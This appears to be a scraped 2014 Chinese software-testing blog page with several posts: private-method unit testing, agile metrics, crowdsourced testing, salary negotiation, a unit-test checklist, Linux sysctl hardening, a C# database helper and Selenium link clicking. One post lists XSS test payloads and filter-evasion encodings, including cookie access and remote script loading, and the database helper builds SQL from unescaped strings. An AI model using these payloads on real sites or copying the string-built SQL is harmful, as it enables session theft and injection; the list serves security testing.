<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    qileilove

    blog已經轉移至github,大家請訪問 http://qaseven.github.io/

    如何給一個私有方法做單元測試

      給類的公有方法做單元測試,很簡單,new一個對象,設好入口參數后,調用這個方法,比較期望值和實際值即可。給一個類的私有方法做單元測試,也不麻煩,先通過反射獲取這個方法,然后將這個方法的可訪問性強制設為true,這樣的話,這個私有方法就可以被調用了。
      代碼如下:
    //被測試方法
    private Double format(Double fileSize){
    Double size = fileSize;
    size = size / 1024 / 1024;
    size = (int)(size.doubleValue() * 10 + 0.5) / 10.0;
    return size;
    }
    @Test
    public void testFormat(){
    ClientDownloadAction action = new ClientDownloadAction();
    double size = 3732930;
    Class class1 = action.getClass();
    try {
    Method format = class1.getDeclaredMethod("format", Double.class);
    format.setAccessible(true);//設為可見
    Double result = (Double)format.invoke(action, size);
    Double expect = 3.6;
    Assert.assertEquals(expect, result);
    } catch (Exception e) {
    // TODO Auto-generated catch block
    e.printStackTrace();
    }
    }

    posted @ 2014-06-20 11:27 順其自然EVO 閱讀(412) | 評論 (0)編輯 收藏

    怎么才能保證你的敏捷團隊不會被指標毀掉

     我認為敏捷社區要改變評測敏捷團隊是否成功的方法。我們收集指標以及從這些指標中獲取信息的方法實際上妨礙了我們做出能用的軟件,而這才是最重要的東西。
      強推個體指標有時會導致過于關注其他人,影響團隊的協作。這會歪曲我們要評測的內容,摧毀我們的真實意圖。
      在我看來主要有兩個問題:
      觀察者效應: 觀察者效應是指對一個流程進行觀測可能會影響它的輸出。比如告訴一個團隊你會密切關注他們的速度,該團隊可能會為了加快速度而過度估算他們的工作內容。這在處理 故事點 時尤其危險,因為根本就沒有依據可以判斷估算是否有效。
      盡管上面這幅漫畫中的情況很有可能發生過,但并不是我理想中觀察者效應的例子。我給你們講一個我很久之前認識的技術支持工程師,我們叫他“杰森”好了,因為他的名字就是杰森。杰森是一位優秀的技術支持,在別人遇到特別困難的問題時他會施以援手,一般在客戶打來第一個電話時他就能正確地把問題解決掉,而且客戶對他的評價很高。問題是杰森接電話的時間太長,而這一指標對管理層來說非常重要。后來經過幾次會議和一次考核之后,杰森明白他必須把時間縮短,否則就只能另謀高就了。很快幾周就過去了,杰森的呼叫時長在整個支持團隊中排到了前5名。他是怎么做到的呢?如果不是我有一天接他班時提前到了一個小時,他可能永遠都不會跟人講起其中的秘密,那天我發現他原來是接了電話之后馬上就掛掉了。
      這挺有點兒意思,如果杰森的呼叫時長沒有他的真實績效重要,他就不會干那種事。以呼叫時長為指標評測他對產出產生了負面影響。除了這個糟糕的指標之外,即便沒碰到過杰森這么極端的情況,我們也都遇到過只想盡快讓你掛上電話的技術支持。問題是你的團隊為了讓自己的數值更好看掛了哪些電話?
      路燈效應:路燈效應是指我們人類傾向于尋找更容易的答案,而不是真實的信息。比如計算代碼行數就很簡單,但代碼行數并不能告訴我們程序的質量如何,也不能表明程序提供的功能性甚至效率怎么樣。
      我想起以前曾經工作過的一個團隊,我們做了幾個產品,每個產品的質量標準都不一樣。當時的情形是“產品A”的質量標準要難得多,而產品B、產品C或產品D的質量標準不會是什么太大的問題,除非管理層在下次審查臨近時改變了對這些產品質量的要求。
      問題是“質量”這個概念有點模糊,真的不太好評測。而錯誤率就容易測量得多,因此那些做產品A這個質量標準比較高的產品的人,在面對審查時就更加不利。那這份工作最終是由誰來完成的呢?大部分是實習生、臨時工或做外包的那些人,或者其他任何人,總之沒人愿意參與。
      事實證明,即便是容易測量的錯誤率,也不能給出什么有價值的信息,因為出現錯誤的次數更多是由產品而不是員工決定的。我們反而趕走了幾個不錯的新員工,丟掉了客戶,整個團隊的士氣也受挫了,因為他們工作時考慮更多的是在如何避免錯誤,而不是如何構建產品。
      因為這兩個都不是軟件開發的例子,所以接下來我們把這些概念放到一些常見的、你所熟悉的“敏捷”指標上。容易測量的指標有哪些?

    編寫單元測試的數量: 大多數敏捷開發者都會寫很多單元測試;測試驅動的開發創建的測試更多(兩者都能帶來更好的代碼質量)。所以用一個開發人員編寫的測試數量來評測他的生產率肯定是沒錯的!實際上觀察者效應會把這個指標滅掉。告訴開發人員會用他們編寫的測試數量來評測他,他們肯定會在不考慮質量的情況下寫很多測試。我們不是為了交付測試代碼;我們的目標是交付可用的軟件。不管在什么時候,我對測試的態度都是寧缺毋濫。
      個人的速度:觀察者效應再一次把這個變成了一個糟糕的指標。如果開發人員知道他的績效決定了他的個人等級,也知道只能通過他專職的工作得分,那實際上就是在打消他為團隊做貢獻的積極性。他被放在一個非常不敏捷的情境中,他要跟自己的團隊競爭,而不是為團隊做貢獻。
      在理想情況下,敏捷團隊是相互協作的,彼此之間有互動,相互討論和評審他們做的幾乎所有事情。這有助于構建優質軟件,快速解決問題,但如果把個人的生產率從團隊里剝離出來,則幾乎不可能形成這種層次的互動,所以不要做這種嘗試,這樣只會傷害團隊做出優質軟件的能力。
      團隊的速度: 這是Scrum中最容易被誤解的指標之一。一個團隊的速度是獨一無二的。不能拿來跟其他的團隊比較。比如團隊A估計某項工作的工作量為一個50點的sprint,而團隊B估計的sprint相同,不過是150點。如果兩個團隊都成功完成了sprint,那么團隊A的速度是50點,而團隊B的速度是150點。哪個團隊效率更高?都一樣。他們完成的工作是一樣的。因為這個指標鼓勵團隊捏造估值,以影響他們規劃下次sprint的能力,所以這個指標特別邪惡。如果團隊不能正確規劃sprint,那整體軟件的發布就有被延遲的危險。我之前專門寫過一篇博客討論 Scrum 團隊的速度,可供參考。
      好吧,大才子,我們應該用什么指標?
      問得好,我們用交付的可用軟件評測團隊生產率。我們要評測的是實際產出,而不是貢獻因素。這種方法更敏捷,因為團隊可以自由選擇能夠成功構建軟件的方法,而不是可以得到更高指標得分的方法。這也更合理,因為我們能帶到銀行去的就是能用的軟件(當然是在賣給他們之后)。
      那么新指標究竟有哪些?
      交付的價值: 這個指標需要產品所有者參與。讓他給出每個故事的價值,能體現這個故事對利益相關者的影響程度。你可以用實際的金額或某種明確的數字表示這個價值。在每次sprint完成后,你會得到一個數值,表明從產品所有者的角度來看你交付給客戶的價值是多少。
      這個指標不評測績效,而是評測影響。理想情況下,產品所有者會按backlog中的順序從高到低給出每個條目的價值,這樣每次sprint所交付的價值就會盡可能的最大化。對于明確限定了范圍的項目,一開始的sprint會有非常高的交付價值,隨著不斷向backlog中深入,sprint交付的價值會逐級遞減。有時會因為開發成本的原因消除再運行一次sprint的可能,通常這時開發團隊就可以開始去做新的產品了。
      交付的及時性: 有時我會聽到有人跟我說他們公司推廣敏捷開發方法的計劃失敗了,因為他們不能明確產品的交付日期。我不會認同這種說法。敏捷團隊應該可以明確確定軟件的具體交付日期。交付時可能會有些故事還沒實現,但那通常是些低價值故事,對客戶的影響不大。也就是說團隊的速度應該是穩定的,如果速度加快或變慢,也應該是逐級變化的。如果不同sprint之間出現劇烈的速度波動,則很難做出長期規劃。
      接下來是我們的指標:如果團隊預測接下來的sprint能完成5個故事,那他們完成 5個故事后能掙到2分。如果他們交付了4個故事,或者他們交付提前的時間不到2天(根據你的情況選擇天數),那他們能掙到1分。如果他們交付提前的時間超過2天,或只交付了5個中的3個,則不得分。在季度末,或一次發布結束,或年末時,團隊預測sprint的準確程度就是評判他們的標準。
      所以我們評測的是交付給客戶的價值以及交付軟件的及時性。只有這兩個跟收錢有關的真實指標。

    posted @ 2014-06-20 11:26 順其自然EVO 閱讀(178) | 評論 (0)編輯 收藏

    測試眾包是重質還是重量呢

      我成為測試人員數年,在很多時候負載測試常常讓我感覺如芒刺在背。它需要花很長時間來實現一個定制的解決方案,但現代的方法模擬負載又并不是行之有效的。眾包測試在我看來就是一種負載測試;它可以使您在許多不同的環境中將一個特定的“東西”在大量的測試人員中測試。但就像所有類型的測試一樣,我相信它有一個適用的時間和地點。
      讓數據說話
      我最近參加的一個會議上展示了一個眾包測試最好的案例(盡管不是會議的目的)。讓我重現一下當時的場景。想象一下,一個在酒店舉行的超過800人參加的會議,再加上這是一個技術性會議。啟用無線設備的數量是大約每3位出席者就有一個。除此之外,許多與會者都入住該酒店,在他們逗留期間每個人都可以使用免費wifi。
      當酒店人員在設置WIFI的時候,他能夠預期到如此大的使用量嗎?
      第一天結束的時候,你并不能質疑酒店的服務。我們都有一個通過我們的房間門連接的不會收取費用的網絡。然而,作為一個參展商,這不是一個試圖證明使用云端的虛擬機的好時機。
      與前面的示例不同,我認為有些情況下,應用測試眾包形式確是不必要的。過去我曾經參與過得一個產品,發布測試周期大約為兩周。如何處理在許多遺留產品中常見的情況,這種問題又來了。有一些人建議眾包測試,把公司看作是服務提供者。然而,我相信這是一個濫用的詞了,而且它為大家建立了什么。產品是很復雜的,需要比較深入的理解才能確定一個問題是否實際上是一個問題,這不是一個典型的以用戶為中心的應用程序。它不是一個大眾市場的產品,設計語言環境和語言的多樣性是一個因素。它也并不是完美到用戶很難找到幾個被確認為是Bug的產品,此情景下,關鍵問題確實發現的大量問題是否被記錄且反饋。
      時間和地點
      我們無可否認測試眾包的力量,事實上,它使不同的人,在不同的空間,測試在現實的真實世界的場景。但在努力加快測試的情況下,人們不應該選擇測試眾包。測試眾包有巨大的能量,但使用它時,應該經過一個深思熟慮的選擇,確保它是適當的技術。
      關于作者
      艾瑪·阿姆斯特朗(@EmmaAtester)是一個測試工程師,all-round do-gooder at Red Gate,他為軟件質量服務了超過13年。在此期間,她擅長手動和自動測試,從而有機會從編譯器深入到web應用程序。
      她精通于很多方法論,掌握了從處理底層芯片硬件技術到表層UI的技術,她除了管理測試團隊外,目前還參與到Red Gate最新的軟件開發工具的工作。
      我成為測試人員數年,在很多時候負載測試常常讓我感覺如芒刺在背。它需要花很長時間來實現一個定制的解決方案,但現代的方法模擬負載又并不是行之有效的。眾包測試在我看來就是一種負載測試;它可以使您在許多不同的環境中將一個特定的“東西”在大量的測試人員中測試。但就像所有類型的測試一樣,我相信它有一個適用的時間和地點。

    posted @ 2014-06-20 11:15 順其自然EVO 閱讀(221) | 評論 (0)編輯 收藏

    測試人員求職面試的時候如何談薪酬待遇

      在社會大學里混了那么多年,我最慘痛的經歷就是,在應聘一家企業的時候,總是羞于談薪酬待遇。大概這是很多職場新人都會遇到過的尷尬吧——覺得自己經驗不夠,或者想應聘的企業比較好,就覺得對方提多少就是多少吧,甭說什么五險一金,就連基本工資的坎都不敢談。
      然而這個坎如果你自己不去過,以后多的是坎兒跟你整。曾經做過一段時間的人力資源,我可以很明確的說,你入職的時候談定的基礎工資將決定了以后你在這個公司的崗位級別和晉升程度。
      說白了就是,基礎工資越低,你以后晉升就越慢——所以盡可能地與雇用單位抬高你的基礎薪資的談判。
      1、不要表現得太想進這家公司
      即使這家公司多么優秀,多么符合你的期望,也不要表現出一幅“我就是要來這里工作除了這里我沒有其他備選”。以前我too young too simple too naive,以為只要表現出自己的誠意,對方也會以誠意回報于我。然而事實上,應聘面試跟談戀愛一樣是拉鋸戰,誰先告白、誰先表態,誰就處于下風。
      之前因為太熱衷出版工作,對方知曉我就是想當編輯,談薪資待遇就各種克扣。更多的企業更喜歡剝削那些對這份崗位抱有熱忱的人——尤其是出版行業,我順便吐個槽,出版公司水太深,愛讀書的好孩子還是把看書當做樂趣就好。
      2、一定要好好談薪資
      我見過太多渣公司了,跟你談工作內容的時候可以談上兩小時,但是跟你談薪酬待遇,三分鐘不到話題就結束了。不要覺得提薪資很尷尬或怎樣,你不為自己謀福利,還等著對方良心發現么?
      舉個例子吧,我之前去一家影院應聘市場經理,我事先做好了市場推廣的整套方案,在投簡歷的時候附帶了這份方案,很快得到了面試通知。面談的時候是跟市場部負責人談的,雙方都覺得不錯,到了談薪酬待遇的時候,就去見了影院的董事長——那叫一個渣啊!
      首先董事長就跟我說,市場部是沒有經理這個崗位的(神經,招聘網上寫的就是“市場經理”),市場部經理就是之前跟你談的那個負責人,你來了,她坐什么位置?接著說,你提的薪資比市場部經理還高,你又不是在外面做了幾百萬業績,然后被我挖角來的,我要是給你這個薪資,其他員工會答應嗎?
      然后,他說,你做的方案我看過了,很有心,我覺得年輕人不要太著緊崗位職稱,從基層做起,你做出業績,以后別說是月薪一萬,十萬都給你!(媽蛋這種套話我幾百年聽到耳朵生膿了)最后給我提了個很低的薪酬,還說看在你的誠意上,我再給你500的補貼吧!
      我覺得砍價這些事情其實都沒什么,畢竟二三線城市的企業,給的待遇也高不去哪兒。最惹惱我的就是,他為了砍價,最后的最后他拿起我的方案,用手指掂量掂量了一下,說:“你說你做了多年的策劃,我看你文案水平也不怎么樣嘛。”
      從這種態度上,一個是我感覺不受尊重,即使真的喜歡這份工作,在這里肯定也得不到任何提升;另一個就是,無論你的能力或經驗如何,任何一個誣蔑應聘者誠意的企業都配不上你。
      3、基礎薪資的談判
      那么,如果遇到一家比較好的企業,你該如何談薪資呢?一定要重視基礎薪資的談判?;A薪資就是你的崗位薪資,一般企業HR或部門負責人問你,你期望的薪資是如何的,你先別回答,可以反問對方:“不知道貴公司對這個崗位的薪酬設置是如何的?”
      企業 跟應聘者其實是一樣平等,不要覺得自己來面試就是有求于人——你完全可以提出自己合理的要求。當HR給出了答案,你心里就有個底了——高于你的期望值,你可以直接接受;遠遠低于你的期望值,你就可以知道這個崗位對這個企業來說重要程度如何,或者他們對你本人的定位是如何的,又或者這家企業的薪資明顯低于同行的,自己斟酌著可以撤了。如果薪資比較接近你的期望值,那么你可以開始下一輪的談判了。

      在社會大學里混了那么多年,我最慘痛的經歷就是,在應聘一家企業的時候,總是羞于談薪酬待遇。大概這是很多職場新人都會遇到過的尷尬吧——覺得自己經驗不夠,或者想應聘的企業比較好,就覺得對方提多少就是多少吧,甭說什么五險一金,就連基本工資的坎都不敢談。
      然而這個坎如果你自己不去過,以后多的是坎兒跟你整。曾經做過一段時間的人力資源,我可以很明確的說,你入職的時候談定的基礎工資將決定了以后你在這個公司的崗位級別和晉升程度。
      說白了就是,基礎工資越低,你以后晉升就越慢——所以盡可能地與雇用單位抬高你的基礎薪資的談判。
      1、不要表現得太想進這家公司
      即使這家公司多么優秀,多么符合你的期望,也不要表現出一幅“我就是要來這里工作除了這里我沒有其他備選”。以前我too young too simple too naive,以為只要表現出自己的誠意,對方也會以誠意回報于我。然而事實上,應聘面試跟談戀愛一樣是拉鋸戰,誰先告白、誰先表態,誰就處于下風。
      之前因為太熱衷出版工作,對方知曉我就是想當編輯,談薪資待遇就各種克扣。更多的企業更喜歡剝削那些對這份崗位抱有熱忱的人——尤其是出版行業,我順便吐個槽,出版公司水太深,愛讀書的好孩子還是把看書當做樂趣就好。
      2、一定要好好談薪資
      我見過太多渣公司了,跟你談工作內容的時候可以談上兩小時,但是跟你談薪酬待遇,三分鐘不到話題就結束了。不要覺得提薪資很尷尬或怎樣,你不為自己謀福利,還等著對方良心發現么?
      舉個例子吧,我之前去一家影院應聘市場經理,我事先做好了市場推廣的整套方案,在投簡歷的時候附帶了這份方案,很快得到了面試通知。面談的時候是跟市場部負責人談的,雙方都覺得不錯,到了談薪酬待遇的時候,就去見了影院的董事長——那叫一個渣啊!
      首先董事長就跟我說,市場部是沒有經理這個崗位的(神經,招聘網上寫的就是“市場經理”),市場部經理就是之前跟你談的那個負責人,你來了,她坐什么位置?接著說,你提的薪資比市場部經理還高,你又不是在外面做了幾百萬業績,然后被我挖角來的,我要是給你這個薪資,其他員工會答應嗎?
      然后,他說,你做的方案我看過了,很有心,我覺得年輕人不要太著緊崗位職稱,從基層做起,你做出業績,以后別說是月薪一萬,十萬都給你!(媽蛋這種套話我幾百年聽到耳朵生膿了)最后給我提了個很低的薪酬,還說看在你的誠意上,我再給你500的補貼吧!
      我覺得砍價這些事情其實都沒什么,畢竟二三線城市的企業,給的待遇也高不去哪兒。最惹惱我的就是,他為了砍價,最后的最后他拿起我的方案,用手指掂量掂量了一下,說:“你說你做了多年的策劃,我看你文案水平也不怎么樣嘛。”
      從這種態度上,一個是我感覺不受尊重,即使真的喜歡這份工作,在這里肯定也得不到任何提升;另一個就是,無論你的能力或經驗如何,任何一個誣蔑應聘者誠意的企業都配不上你。
      3、基礎薪資的談判
      那么,如果遇到一家比較好的企業,你該如何談薪資呢?一定要重視基礎薪資的談判?;A薪資就是你的崗位薪資,一般企業HR或部門負責人問你,你期望的薪資是如何的,你先別回答,可以反問對方:“不知道貴公司對這個崗位的薪酬設置是如何的?”
      企業 跟應聘者其實是一樣平等,不要覺得自己來面試就是有求于人——你完全可以提出自己合理的要求。當HR給出了答案,你心里就有個底了——高于你的期望值,你可以直接接受;遠遠低于你的期望值,你就可以知道這個崗位對這個企業來說重要程度如何,或者他們對你本人的定位是如何的,又或者這家企業的薪資明顯低于同行的,自己斟酌著可以撤了。如果薪資比較接近你的期望值,那么你可以開始下一輪的談判了。

    posted @ 2014-06-20 11:14 順其自然EVO 閱讀(215) | 評論 (0)編輯 收藏

    工作后對單元測試學習的一點總結

      作為一個開發人員,需要保證高質量的開發代碼。所以需要做好的是單元測試:那么單元測試都有哪些方面呢?學習一下然后將做的任務按照單元測試的方法進行測試!
      單元測試:最小單位測試,又稱模塊測試!
      測試時期;在編碼之后、通過編譯和代碼走查后由開發人員執行;
      測試方法:主要采用白盒測試方法,輔助以黑盒測試方法。要了解模塊的I/O單元條件和邏輯結構,對模塊內所有重要的控制路徑設計測試用例,以便發現模塊內部的錯誤。如果模塊不是獨立的程序,應為測試模塊開發一個驅動模塊和若干個樁模塊。驅動模塊是調用被測模塊的主程序,樁模塊是用來替代被測試模塊的子模塊。
      測試內容:模塊接口測試、模塊局部數據結構測試、模塊邊界條件測試、模塊中所有獨立執行路徑測試和模塊的各條錯誤處理路徑測試。
      測試的具體內容:一般對接口的方法編譯錯誤或者是變量參數的控制,這個一般在做任務的時候都會解決,重點注意的問題是:
      1、邊界條件測試:
      在n次循環的第0次、1次、n次時是否有錯誤;
      運算或判斷中取最大值、最小值時是否有錯誤;
      數據流、控制流中剛好等于、大于、小于確定的比較值時是否有錯誤。
      2、獨立路徑測試,在模塊中應對每一條獨立執行路徑進行測試,保證模塊中每條語句至少執行一次,運用基本路徑測試和循環測試,常可以發現以下幾類錯誤:
      誤解或用錯了算術或邏輯運算符的優先順序;
      運算對象的類型不相容;
      算法錯誤;
      變量初值錯誤;
      運算精度不夠;
      表達式符號錯誤;
      不同數據類型的比較;
      因浮點運算精度造成的兩值不等;
      關系表達式中的錯誤變量和比較符;
      循環次數不對;
      循環終止條件錯誤;
      迭代發散時不能退出循環;
      錯誤地修改了循環變量
     3、錯誤處理測試
      一個好的設計應能預見各種出錯條件,并預先設置各種出錯處理路徑。錯誤處理測試著重檢查下列問題:
      顯示的出錯信息難以理解;
      顯示的錯誤與實際的錯誤不符;
      顯示的出錯信息不足以對錯誤定位、確定出錯原因;
      對錯誤處理不當;
      在對錯誤進行處理之前,已引起系統的介入。
      如上就是作為單元測試具體的內容,具體我們喜歡遺漏和犯錯誤的地方:就是對于循環控制愛出錯,還有對錯誤信息處理的時候處理的比較隨意,不能很好的讓客戶理解,如上是根據工作和學習單元測試所總結的一點小東西。希望對大家都有幫助

    posted @ 2014-06-20 10:43 順其自然EVO 閱讀(181) | 評論 (0)編輯 收藏

    XSS測試用例與原理講解

     1、<a href="javascript:alert(32)">DIBRG</a>
      2、<img href="javascript:alert(32)">
      在IE下可以,在FF下不可以
      3、<img src=" http://xss.jpg" onerror=alert('XSS')>
      IE,FF下均可
      4、<img STYLE="background-image: url(javascript:alert('XSS'))">
      在IE下可以,在FF下不可以
      5、<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
    <IMG SRC="javascript:alert('XSS');">
    <IMG SRC=javascript:alert('XSS')>
    <IMG SRC="javascript:alert(String.fromCharCode(88,83,83))">
    <IMG SRC="jav ascript:alert('XSS');">
    <SCRIPT/XSS SRC="http://example.com/xss.js"></SCRIPT>
    <<SCRIPT>alert("XSS");//<</SCRIPT>
    <iframe src=http://example.com/scriptlet.html <
    <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
    <BODY BACKGROUND="javascript:alert('XSS')">
    <BODY ONLOAD=alert(document.cookie)>
    <BODY onload!#$%&()*~+-_.,:;?@[/|"]^`=alert("XSS")>
    <IMG DYNSRC="javascript:alert('XSS')">
    <IMG DYNSRC="javascript:alert('XSS')">
    <BR SIZE="&{alert('XSS')}">
    <IMG SRC='vbscript:msgbox("XSS")'>
    <TABLE BACKGROUND="javascript:alert('XSS')">
    <DIV STYLE="width: expression(alert('XSS'));">
    <DIV STYLE="background-image: url(javascript:alert('XSS'))">
    <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
    <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
    <?='<SCRIPT>alert("XSS")</SCRIPT>'?>
    <A HREF="javascript:document.location='http://www.example.com/'">XSS</A>
    <IMG SRC=javascript:alert('XSS')>
    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
    a="get";
    b="URL(""";
    c="javascript:";
    d="alert('XSS');"")";
    eval(a+b+c+d);
      6、XSS轉碼
      有攻就有防,網站程序員肯定不會放任大家利用XSS,所以他們常會過濾類似javascript的關鍵字符,讓大家構造不了自己的XSS,我這里就撿兩個被忽略慣了的字符來說,它們是"&"和"\".首先來說說"&"字符,玩過SQL注入的都知道,注入的語句可以轉成16進制再賦給一個變量運行,XSS的轉碼和這個還真有異曲同工之妙,原因是我們的IE瀏覽器默認采用的是UNICODE編碼,HTML編碼可以用&#ASCII方式來寫,這種XSS轉碼支持10進制和16進制,SQL注入轉碼是將16進制字符串賦給一個變量,而XSS轉碼則是針對屬性所賦的值,下面我就拿<img src="javascript:alert('XSS');">示例:
      <img src="javascript:a
      lert('XSS');"> //10進制轉碼
      <img src="javascrip
      t:alert('XSS');"> //16進制轉碼。
      這個&#分隔符還可以繼續加0變成“j” ,“j” ,“j” ,“j”等形式。
      而這個"\"字符卻暴露了一個嚴重的XSS 0DAY漏洞,這個漏洞和CSS(Cascading Style Sheets)層疊樣式表有很大的關聯,下面我就來看看這個漏洞,先舉個javascript的eval 函數的例子,官方是這樣定義這個函數:
      eval(codeString),必選項 codestring 參數是包含有效 JScript 代碼的字符串值。這個字符串將由 JScript 分析器進行分析和執行。
      我們的JavaScript中的"\"字符是轉義字符,所以可以使用"\"連接16進制字符串運行代碼
    <SCRIPT LANGUAGE="JavaScript">
    eval("\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x61\x6c\x65\x72\x74\x28\x22\x58\x53\x53\x22\x29")
    </SCRIPT>

    posted @ 2014-06-20 10:34 順其自然EVO 閱讀(518) | 評論 (0)編輯 收藏

    Linux內核及網絡設置

    可以通過/etc/sysctl.conf控制和配置Linux內核及網絡設置。
    # 避免放大攻擊
    net.ipv4.icmp_echo_ignore_broadcasts = 1
    # 開啟惡意icmp錯誤消息保護
    net.ipv4.icmp_ignore_bogus_error_responses = 1
    # 開啟SYN洪水攻擊保護
    net.ipv4.tcp_syncookies = 1
    # 開啟并記錄欺騙,源路由和重定向包
    net.ipv4.conf.all.log_martians = 1
    net.ipv4.conf.default.log_martians = 1
    # 處理無源路由的包
    net.ipv4.conf.all.accept_source_route = 0
    net.ipv4.conf.default.accept_source_route = 0
    # 開啟反向路徑過濾
    net.ipv4.conf.all.rp_filter = 1
    net.ipv4.conf.default.rp_filter = 1
    # 確保無人能修改路由表
    net.ipv4.conf.all.accept_redirects = 0
    net.ipv4.conf.default.accept_redirects = 0
    net.ipv4.conf.all.secure_redirects = 0
    net.ipv4.conf.default.secure_redirects = 0
    # 不充當路由器
    net.ipv4.ip_forward = 0
    net.ipv4.conf.all.send_redirects = 0
    net.ipv4.conf.default.send_redirects = 0
    # 開啟execshild
    kernel.exec-shield = 1
    kernel.randomize_va_space = 1
    # IPv6設置
    net.ipv6.conf.default.router_solicitations = 0
    net.ipv6.conf.default.accept_ra_rtr_pref = 0
    net.ipv6.conf.default.accept_ra_pinfo = 0
    net.ipv6.conf.default.accept_ra_defrtr = 0
    net.ipv6.conf.default.autoconf = 0
    net.ipv6.conf.default.dad_transmits = 0
    net.ipv6.conf.default.max_addresses = 1
    # 優化LB使用的端口
    # 增加系統文件描述符限制
    fs.file-max = 65535
    # 允許更多的PIDs (減少滾動翻轉問題); may break some programs 32768
    kernel.pid_max = 65536
    # 增加系統IP端口限制
    net.ipv4.ip_local_port_range = 2000 65000
    # 增加TCP最大緩沖區大小
    net.ipv4.tcp_rmem = 4096 87380 8388608
    net.ipv4.tcp_wmem = 4096 87380 8388608
    # 增加Linux自動調整TCP緩沖區限制
    # 最小,默認和最大可使用的字節數
    # 最大值不低于4MB,如果你使用非常高的BDP路徑可以設置得更高
    # Tcp窗口等
    net.core.rmem_max = 8388608
    net.core.wmem_max = 8388608
    net.core.netdev_max_backlog = 5000
    net.ipv4.tcp_window_scaling = 1

    posted @ 2014-06-18 10:52 順其自然EVO 閱讀(447) | 評論 (0)編輯 收藏

    DbHelper-SQL數據庫訪問助手

    using System;
    using System.Data;
    using System.Data.SqlClient;
    namespace Whir.Software.Framework.Ultimate
    {
    /// <summary>
    ///     數據庫訪問助手
    /// </summary>
    public class DbHelper
    {
    #region 判斷連接是否成功
    /// <summary>
    ///     判斷連接是否成功!
    /// </summary>
    /// <param name="con"> 鏈接字符串</param>
    /// <returns>true 表示鏈接成功,false表示連接失敗</returns>
    public static bool IsConnected(string con)
    {
    bool flag;
    var conn = new SqlConnection(con);
    try
    {
    conn.Open();
    flag = true;
    }
    catch (Exception)
    {
    flag = false;
    }
    finally
    {
    conn.Close();
    }
    return flag;
    }
    #endregion
    #region 執行不帶參數sql語句
    /// <summary>
    ///     執行不帶參數sql語句
    /// </summary>
    /// <param name="sql">增,刪,改sql語句</param>
    /// <param name="con"></param>
    /// <returns>返回所影響的行數</returns>
    public static bool Execute(string sql, string con)
    {
    var cmd = new SqlCommand();
    var connection = new SqlConnection(con);
    try
    {
    using (connection)
    {
    cmd.Connection = connection;
    cmd.CommandText = sql;
    connection.Open();
    cmd.ExecuteNonQuery();
    return true;
    }
    }
    catch (Exception)
    {
    return false;
    }
    }
    #endregion
    #region 執行SQL語句返回DataTable
    /// <summary>
    ///     執行SQL語句返回DataTable
    /// </summary>
    /// <param name="sql"></param>
    /// <param name="con"></param>
    /// <returns></returns>
    public static DataTable ExcuteDataTable(string sql, string con)
    {
    var cmd = new SqlCommand();
    var connection = new SqlConnection(con);
    try
    {
    using (connection)
    {
    cmd.Connection = connection;
    cmd.CommandText = sql;
    connection.Open();
    var da = new SqlDataAdapter(cmd);
    var ds = new DataSet();
    da.Fill(ds);
    return ds.Tables[0];
    }
    }
    catch (Exception ex)
    {
    var dt = new DataTable();
    dt.Columns.Add("異常信息");
    DataRow row = dt.NewRow();
    row["異常信息"] = ex.Message;
    dt.Rows.Add(row);
    return dt;
    }
    }
    #endregion
    #region 執行SQL語句查詢單條記錄
    /// <summary>
    ///     執行SQL語句查詢單條記錄
    /// </summary>
    /// <param name="sql"></param>
    /// <param name="con"></param>
    /// <returns></returns>
    public static object ExecuteScalar(string sql, string con)
    {
    var cmd = new SqlCommand();
    var connection = new SqlConnection(con);
    try
    {
    using (connection)
    {
    cmd.Connection = connection;
    cmd.CommandText = sql;
    connection.Open();
    return cmd.ExecuteScalar();
    }
    }
    catch (Exception)
    {
    return string.Empty;
    }
    }
    #endregion
    #region 取得表最大Id
    /// <summary>
    ///     取得表最大Id
    /// </summary>
    /// <param name="tableName"></param>
    /// <param name="fieldName"></param>
    /// <param name="con"></param>
    /// <returns></returns>
    public static int GetMaxId(string tableName, string fieldName, string con)
    {
    string sql = "SELECT NVL(MAX({0}),0)+1 FROM {1}";
    try
    {
    sql = string.Format(sql, fieldName, tableName);
    int result;
    Int32.TryParse(ExecuteScalar(sql, con).ToString(), out result);
    return result;
    }
    catch (Exception)
    {
    return -1;
    }
    }
    #endregion
    }
    }

    posted @ 2014-06-18 10:52 順其自然EVO 閱讀(193) | 評論 (0)編輯 收藏

    Python Selenium自動化(一)點擊頁面鏈接測試

      需求:現在有一個網站的頁面,我希望用python自動化的測試點擊這個頁面上所有的在本窗口跳轉,并且是本站內的鏈接,前往到鏈接頁面之后在通過后退返回到原始頁面。
      要完成這個需求就必須實現3點:
      1. 找到原始頁面上面所有的在本窗口內跳轉的鏈接
      2. 跳轉到目標頁面之后,“后退”到原始頁面
      3. 在原始頁面上繼續點擊后續的鏈接
      首先,要找到頁面上的所有鏈接并不困難。selenium為我們提供了find_elements_by_tag_name方法。我們只需要在初始化webdriver之后,調用
      driver.find_elements_by_tag_name("a")
      就能找到頁面上的所有a標簽。
      我們可以對所有的a標簽進行點擊,但是這樣的話我們不能保證所有的a標簽所指向的目標頁面都是站內的,有可能目標是其他的站外網頁;另外這樣也不能保證該跳轉頁面是在本窗口跳轉而不是新開一個窗口。
      解決辦法:
      使用selenium.webdriver.remote.webelement.WebElement提供的get_attribute方法。
      通過get_attribute拿到該a標簽的各種屬性,通過判斷找到符合要求的元素進行點擊。
      get_attribute("href") 得到a標簽對應的目標頁面的URL,對URL進行判斷就可以了解到該頁面是否站內頁面。我們可以知道,如果是站內頁面的話這個屬性一般會是一個相對路徑,或者包含了本站域名,但如果是站外頁面的話,那它一定是包含了“http”的一個url。
      get_attribute("target")如果target不是"_blank"的話,可以判斷該頁面是在本窗口跳轉的。
      跳轉到下一頁面后如何返回原始頁面呢?
      selenium webdriver 提供了back方法可以輕松的達到這個目標:driver.back()
      最后,需要在返回了原始頁面之后繼續點擊下一個鏈接進行測試,這個不用說肯定要使用for loop:
      for i in range(0, len(driver.find_elements_by_tag_name("a"))):
